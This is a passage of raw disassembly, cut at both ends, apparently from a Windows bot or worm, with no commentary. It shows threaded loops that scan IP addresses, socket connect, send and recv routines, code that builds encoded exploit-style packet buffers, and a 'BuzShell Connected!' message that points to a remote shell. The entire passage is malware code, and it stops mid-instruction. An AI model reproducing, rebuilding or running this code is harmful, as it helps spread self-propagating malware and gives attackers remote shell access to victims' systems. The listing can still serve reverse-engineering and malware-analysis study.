dword_4CE44C[eax*8], 1 jz short loc_40C633 loc_40C647: ; CODE XREF: sub_40C485+1A1j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CE448[eax*8] push eax call dword_4CE394 ; inet_ntoa push eax lea eax, [ebp+var_1CC] push offset dword_4349A0 push eax call sub_41BEF6 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C695 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409743 add esp, 14h loc_40C695: ; CODE XREF: sub_40C485+1F1j lea eax, [ebp+var_1CC] push eax call sub_415F45 mov eax, [ebp+var_2C] mov [esp+20Ch+var_20C], 0BB8h mov dword_4CE44C[eax*8], ebx call esi ; Sleep push 0Bh call sub_40B496 cmp eax, 1 pop ecx jnz short loc_40C6CC push offset dword_4D0448 call dword_4280E4 ; RtlDeleteCriticalSection loc_40C6CC: ; CODE XREF: sub_40C485+23Aj push [ebp+var_2C] call sub_40B56A pop ecx push ebx call dword_4280D4 ; ExitThread sub_40C485 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C6DC proc near ; CODE XREF: sub_40EA40+4F9p var_410 = byte ptr -410h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 410h push esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_4CE348 ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call dword_4CE308 ; ntohs push 0 push 1 push 2 mov [ebp+var_E], ax call dword_4CE388 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C73E lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CE2B0 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40C742 loc_40C73E: ; CODE XREF: sub_40C6DC+4Ej xor eax, eax jmp short loc_40C770 ; --------------------------------------------------------------------------- loc_40C742: ; CODE XREF: sub_40C6DC+60j push 0 lea eax, [ebp+var_410] push 400h push eax push esi call dword_4CE320 ; recv push 0 push 1 push offset aBuzshellConnec ; "BuzShell Connected!" push offset asc_42AAA4 ; "#l" push [ebp+arg_0] call sub_409743 add esp, 14h loc_40C770: ; CODE XREF: sub_40C6DC+64j pop esi leave retn sub_40C6DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C773 proc near ; DATA XREF: sub_40C840+7Bo ; sub_40C931+7Bo var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 10h rep movsd xor esi, esi push 0 inc esi mov [eax+0A8h], esi lea eax, [ebp+var_10] push eax call sub_41BC00 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CE308 ; ntohs mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CE388 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C831 lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CE2B0 ; connect mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_441254[ecx], esi jz short loc_40C831 push [ebp+var_38] push [ebp+var_28] call dword_4CE394 ; inet_ntoa push eax mov edi, offset dword_4D0E08 push offset dword_434B40 push edi call sub_41BEF6 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409743 push edi call sub_415F45 add esp, 28h loc_40C831: ; CODE XREF: sub_40C773+5Dj ; sub_40C773+7Ej push esi call dword_4CE3A0 ; closesocket pop edi xor eax, eax pop esi leave retn 4 sub_40C773 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40C840 proc near ; DATA XREF: sub_401AA1+5F34o var_134 = byte ptr -134h var_B4 = byte ptr -0B4h var_30 = dword ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 134h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B4] rep movsd mov esi, dword_428080 mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40C86E: ; CODE XREF: sub_40C840+ECj push [ebp+var_30] push [ebp+var_20] call dword_4CE394 ; inet_ntoa push eax lea eax, [ebp+var_134] push offset dword_434B88 push eax call sub_41BEF6 lea eax, [ebp+var_134] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_441048 push eax call sub_41BC60 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B4] push edi push eax push offset sub_40C773 push edi push edi call dword_428084 ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_40C8DA jmp short loc_40C8D5 ; --------------------------------------------------------------------------- loc_40C8D1: ; CODE XREF: sub_40C840+98j push 32h call esi ; Sleep loc_40C8D5: ; CODE XREF: sub_40C840+8Fj cmp [ebp+var_C], edi jz short loc_40C8D1 loc_40C8DA: ; CODE XREF: sub_40C840+8Dj push [ebp+var_4] call dword_428070 ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call near ptr sub_41C9B0 add esp, 0Ch push [ebp+arg_0] call dword_4CE230 ; ntohl inc eax push eax mov [ebp+arg_0], eax call dword_4CE304 ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call near ptr sub_41C9B0 add esp, 0Ch jmp loc_40C86E sub_40C840 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C931 proc near ; DATA XREF: sub_401AA1+5C5Bo var_130 = byte ptr -130h var_B0 = dword ptr -0B0h var_AC = byte ptr -0ACh var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, dword_428080 mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40C95F: ; CODE XREF: sub_40C931+BCj push [ebp+var_2C] push [ebp+var_1C] call dword_4CE394 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset dword_434C28 push eax call sub_41BEF6 lea eax, [ebp+var_130] push 1FFh push eax mov eax, [ebp+var_20] imul eax, 234h add eax, offset dword_441048 push eax call sub_41BC60 add esp, 1Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_B0] push edi push eax push offset sub_40C773 push edi push edi call dword_428084 ; CreateThread cmp eax, edi mov [ebp+arg_0], eax jz short loc_40C9CB jmp short loc_40C9C6 ; --------------------------------------------------------------------------- loc_40C9C2: ; CODE XREF: sub_40C931+98j push 32h call esi ; Sleep loc_40C9C6: ; CODE XREF: sub_40C931+8Fj cmp [ebp+var_8], edi jz short loc_40C9C2 loc_40C9CB: ; CODE XREF: sub_40C931+8Dj push [ebp+arg_0] call dword_428070 ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep mov eax, [ebp+var_2C] cmp eax, [ebp+var_28] jz short loc_40C9F2 inc [ebp+var_2C] jmp loc_40C95F ; --------------------------------------------------------------------------- loc_40C9F2: ; CODE XREF: sub_40C931+B7j push [ebp+var_1C] call dword_4CE394 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset dword_434BD8 push eax call sub_41BEF6 push edi lea eax, [ebp+var_130] push [ebp+var_14] push eax lea eax, [ebp+var_AC] push eax push [ebp+var_B0] call sub_409743 push [ebp+var_20] call sub_40B56A add esp, 24h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40C931 endp ; =============== S U B R O U T I N E ======================================= sub_40CA3E proc near ; CODE XREF: sub_40CCAA+Ep ; sub_40CCAA+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40CA3E endp ; =============== S U B R O U T I N E ======================================= sub_40CA48 proc near ; CODE XREF: sub_40CCAA+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi push ebx mov esi, ecx call sub_41BB45 mov edi, eax pop ecx test edi, edi jz short loc_40CA7A push ebx push 0 push edi call sub_41BC00 push ebx push [esp+1Ch+arg_0] push edi call near ptr sub_41C9B0 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40CA7A: ; CODE XREF: sub_40CA48+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40CA48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA82 proc near ; CODE XREF: sub_40CB74+18p ; sub_40CBEE+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx mov ecx, [ebp+arg_C] push esi push edi lea edi, [eax+ecx] push edi call sub_41BB45 mov esi, eax pop ecx test esi, esi jz short loc_40CACE push edi push 0 push esi call sub_41BC00 push [ebp+arg_4] push [ebp+arg_0] push esi call near ptr sub_41C9B0 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call near ptr sub_41C9B0 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40CACE: ; CODE XREF: sub_40CA82+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40CA82 endp ; =============== S U B R O U T I N E ======================================= sub_40CAD7 proc near ; CODE XREF: sub_40CB74+5Ep ; sub_40CB74+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40CAE7 push eax call sub_41B721 pop ecx loc_40CAE7: ; CODE XREF: sub_40CAD7+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40CAD7 endp ; =============== S U B R O U T I N E ======================================= sub_40CAF0 proc near ; CODE XREF: sub_40CB74+20p ; sub_40CC4F+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40CB1A xor ebx, ebx cmp eax, 7Fh setnl bl lea ebx, [ebx+ebx+1] add eax, ebx push eax call sub_41BB45 mov edi, eax pop ecx test edi, edi jnz short loc_40CB1E loc_40CB1A: ; CODE XREF: sub_40CAF0+Dj xor al, al jmp short loc_40CB70 ; --------------------------------------------------------------------------- loc_40CB1E: ; CODE XREF: sub_40CAF0+28j mov eax, [esi+4] add eax, ebx push eax push 0 push edi call sub_41BC00 add esp, 0Ch cmp ebx, 1 jnz short loc_40CB3E mov al, [esi+4] mov [edi], al lea eax, [edi+1] jmp short loc_40CB53 ; --------------------------------------------------------------------------- loc_40CB3E: ; CODE XREF: sub_40CAF0+42j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al lea eax, [edi+3] loc_40CB53: ; CODE XREF: sub_40CAF0+4Cj push dword ptr [esi+4] push dword ptr [esi] push eax call near ptr sub_41C9B0 add esp, 0Ch push dword ptr [esi] call sub_41B721 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40CB70: ; CODE XREF: sub_40CAF0+2Cj pop edi pop esi pop ebx retn sub_40CAF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CB74 proc near ; CODE XREF: sub_40CCAA+89p ; sub_40CCAA+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4CE1C0 call sub_40CA82 lea ecx, [ebp+var_8] call sub_40CAF0 mov eax, [ebp+var_4] inc eax push eax call sub_41BB45 mov edi, eax pop ecx test edi, edi jnz short loc_40CBAE xor al, al jmp short loc_40CBEA ; --------------------------------------------------------------------------- loc_40CBAE: ; CODE XREF: sub_40CB74+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41BC00 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call near ptr sub_41C9B0 add esp, 18h mov ecx, esi call sub_40CAD7 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40CAD7 mov al, 1 loc_40CBEA: ; CODE XREF: sub_40CB74+38j pop edi pop esi leave retn sub_40CB74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CBEE proc near ; CODE XREF: sub_40CC22+14p ; sub_40CC3F+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40CA82 mov ecx, esi call sub_40CAD7 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CBEE endp ; =============== S U B R O U T I N E ======================================= sub_40CC22 proc near ; CODE XREF: sub_40CCAA+F0p ; sub_40CCAA+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41B650 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CBEE pop esi retn 4 sub_40CC22 endp ; =============== S U B R O U T I N E ======================================= sub_40CC3F proc near ; CODE XREF: sub_40CC8B+Bp ; sub_40CCAA+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CBEE retn 8 sub_40CC3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CC4F proc near ; CODE XREF: sub_40CC8B+16p ; sub_40CCAA+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40CAF0 test al, al jz short loc_40CC88 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42F47C call sub_40CA82 mov ecx, esi call sub_40CAD7 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CC88: ; CODE XREF: sub_40CC4F+Fj pop esi leave retn sub_40CC4F endp ; =============== S U B R O U T I N E ======================================= sub_40CC8B proc near ; CODE XREF: sub_40CCAA+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CC3F test al, al jz short loc_40CCA6 mov ecx, esi call sub_40CC4F loc_40CCA6: ; CODE XREF: sub_40CC8B+12j pop esi retn 8 sub_40CC8B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CCAA proc near ; CODE XREF: .XPack0:0040D523p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40CA3E mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CFEE mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CFEE push esi lea ecx, [ebp+var_30] call sub_40CA3E lea ecx, [ebp+var_20] call sub_40CA3E lea ecx, [ebp+var_50] call sub_40CA3E lea ecx, [ebp+var_18] call sub_40CA3E lea ecx, [ebp+var_40] call sub_40CA3E lea ecx, [ebp+var_38] call sub_40CA3E lea ecx, [ebp+var_28] call sub_40CA3E push 4 push offset dword_434C94 lea ecx, [ebp+var_30] call sub_40CBEE push 3 push offset dword_434C9C lea ecx, [ebp+var_30] call sub_40CBEE lea ecx, [ebp+var_30] call sub_40CB74 lea ecx, [ebp+var_30] call sub_40CC4F mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41BC00 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset byte_434C88 call sub_40CBEE push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CBEE mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CBEE lea ecx, [ebp+var_20] call sub_40CB74 push offset loc_435024 lea ecx, [ebp+var_50] call sub_40CC22 lea ecx, [ebp+var_50] call sub_40CB74 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40CA48 lea ecx, [ebp+var_58] call sub_40CB74 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CC8B lea ecx, [ebp+var_58] call sub_40CAD7 push esi lea eax, [ebp+var_858] push 43h push eax call sub_41BC00 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CC22 push 4 push offset dword_434CA0 lea ecx, [ebp+var_18] call sub_40CBEE push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CBEE sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CBEE lea ecx, [ebp+var_18] call sub_40CB74 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CC3F push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CC3F lea ecx, [ebp+var_40] call sub_40CC4F lea ecx, [ebp+var_18] call sub_40CAD7 lea ecx, [ebp+var_50] call sub_40CAD7 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CC3F push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CC3F push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CC3F lea ecx, [ebp+var_38] call sub_40CC4F lea ecx, [ebp+var_20] call sub_40CAD7 lea ecx, [ebp+var_30] call sub_40CAD7 lea ecx, [ebp+var_40] call sub_40CAD7 push esi lea eax, [ebp+var_858] push 41h push eax call sub_41BC00 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CBEE lea ecx, [ebp+var_28] call sub_40CB74 push 2 push offset dword_435018 lea ecx, [ebp+var_28] call sub_40CBEE push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CC3F lea ecx, [ebp+var_28] call sub_40CC4F lea ecx, [ebp+var_38] call sub_40CAD7 lea ecx, [ebp+var_10] call sub_40CA3E lea ecx, [ebp+var_8] call sub_40CA3E push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CC3F lea ecx, [ebp+var_10] call sub_40CAF0 lea ecx, [ebp+var_28] call sub_40CAD7 push offset dword_435014 lea ecx, [ebp+var_8] call sub_40CC22 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CC3F lea ecx, [ebp+var_8] call sub_40CAF0 lea ecx, [ebp+var_10] call sub_40CAD7 push offset dword_435010 lea ecx, [ebp+var_10] call sub_40CC22 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CC3F lea ecx, [ebp+var_10] call sub_40CAF0 lea ecx, [ebp+var_8] call sub_40CAD7 push offset dword_435004 lea ecx, [ebp+var_8] call sub_40CC22 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CC3F lea ecx, [ebp+var_8] call sub_40CAF0 lea ecx, [ebp+var_10] call sub_40CAD7 push (offset loc_434FFF+1) lea ecx, [ebp+var_48] call sub_40CC22 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CC3F lea ecx, [ebp+var_8] call sub_40CAD7 pop esi loc_40CFEE: ; CODE XREF: sub_40CCAA+1Bj ; sub_40CCAA+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop edi pop ebx mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx leave retn sub_40CCAA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D000 proc near ; CODE XREF: sub_40D0C4+A2p ; sub_40D0C4+C7p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi mov esi, [ebp+arg_0] lea eax, [ebp+var_8] push edi push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 xor edi, edi push eax lea eax, [esi+1] inc edi push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call dword_428224 ; select cmp eax, edi jnz short loc_40D067 lea eax, [ebp+var_10C] push eax push esi call sub_426E00 ; __WSAFDIsSet test eax, eax jnz short loc_40D06B loc_40D067: ; CODE XREF: sub_40D000+54j xor eax, eax jmp short loc_40D07B ; --------------------------------------------------------------------------- loc_40D06B: ; CODE XREF: sub_40D000+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CE320 ; recv loc_40D07B: ; CODE XREF: sub_40D000+69j pop edi pop esi leave retn sub_40D000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D07F proc near ; CODE XREF: sub_40D0C4+80p ; sub_40D0C4+AEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CE304 ; ntohl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CE358 ; send cmp eax, 4 jz short loc_40D0A9 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D0A9: ; CODE XREF: sub_40D07F+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CE358 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40D07F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D0C4 proc near ; CODE XREF: sub_40D1A3+48p ; .XPack0:0040D614p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41BB45 mov esi, eax pop ecx test esi, esi jnz short loc_40D0ED xor al, al jmp loc_40D19E ; --------------------------------------------------------------------------- loc_40D0ED: ; CODE XREF: sub_40D0C4+20j push ebx push 0 push esi call sub_41BC00 push 2Fh push offset dword_434D30 push esi call near ptr sub_41C9B0 push 8 lea eax, [esi+31h] push offset dword_434D60 push eax mov [esi+2Fh], di call near ptr sub_41C9B0 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call near ptr sub_41C9B0 push 6 add ebx, edi push offset dword_4D1008 push ebx call near ptr sub_41C9B0 push 85h push offset dword_434CA8 push [ebp+arg_0] call sub_40D07F add esp, 48h test al, al jnz short loc_40D154 loc_40D150: ; CODE XREF: sub_40D0C4+B8j xor bl, bl jmp short loc_40D195 ; --------------------------------------------------------------------------- loc_40D154: ; CODE XREF: sub_40D0C4+8Aj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push [ebp+arg_0] call sub_40D000 push [ebp+var_4] push esi push [ebp+arg_0] call sub_40D07F add esp, 1Ch test al, al jz short loc_40D150 push 0 lea eax, [ebp+var_104] push edi push eax push [ebp+arg_0] call sub_40D000 add esp, 10h mov bl, 1 loc_40D195: ; CODE XREF: sub_40D0C4+8Ej push esi call sub_41B721 pop ecx mov al, bl loc_40D19E: ; CODE XREF: sub_40D0C4+24j pop edi pop esi pop ebx leave retn sub_40D0C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D1A3 proc near ; CODE XREF: .XPack0:0040D5FAp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_434D70 push [ebp+arg_0] call dword_428220 ; send cmp eax, 48h jnz short loc_40D1DE push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40D000 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D1DE cmp [ebp+var_20], 82h jz short loc_40D1E2 loc_40D1DE: ; CODE XREF: sub_40D1A3+1Bj ; sub_40D1A3+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D1E2: ; CODE XREF: sub_40D1A3+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D0C4 add esp, 0Ch leave retn sub_40D1A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D1F5 proc near ; CODE XREF: sub_40D241+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_428680 call sub_41CE04 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_428678 fstp [esp+10h+var_10] call sub_41CCE5 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41CE04 inc eax leave retn sub_40D1F5 endp ; =============== S U B R O U T I N E ======================================= sub_40D241 proc near ; CODE XREF: sub_40D3E0+24p var_40 = qword ptr -40h mov eax, offset loc_42752B call sub_41D2D0 sub esp, 2Ch push ebx push esi push edi xor edi, edi mov [ebp-20h], edi mov al, [ebp+13h] push edi lea ecx, [ebp-38h] mov [ebp-38h], al call sub_40D873 push dword ptr [ebp+10h] xor ebx, ebx inc ebx mov [ebp-4], ebx call sub_40D1F5 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D283 push edi push eax lea ecx, [ebp-38h] call sub_40D7ED loc_40D283: ; CODE XREF: sub_40D241+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D3A1 mov ebx, [ebp+10h] loc_40D292: ; CODE XREF: sub_40D241+157j cmp dword ptr [ebp+10h], 3 jb short loc_40D29D push 3 loc_40D29A: ; CODE XREF: sub_40D241+64j pop ebx jmp short loc_40D2B0 ; --------------------------------------------------------------------------- loc_40D29D: ; CODE XREF: sub_40D241+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D2A7 push 2 jmp short loc_40D29A ; --------------------------------------------------------------------------- loc_40D2A7: ; CODE XREF: sub_40D241+60j cmp dword ptr [ebp+10h], 1 jnz short loc_40D2B0 xor ebx, ebx inc ebx loc_40D2B0: ; CODE XREF: sub_40D241+5Aj ; sub_40D241+6Aj mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_428688 fstp [esp+40h+var_40] call sub_41CE2B pop ecx pop ecx call sub_41CE04 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D2EF mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D2EF: ; CODE XREF: sub_40D241+94j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D35D add [ebp-18h], eax loc_40D341: ; CODE XREF: sub_40D241+11Aj movsx 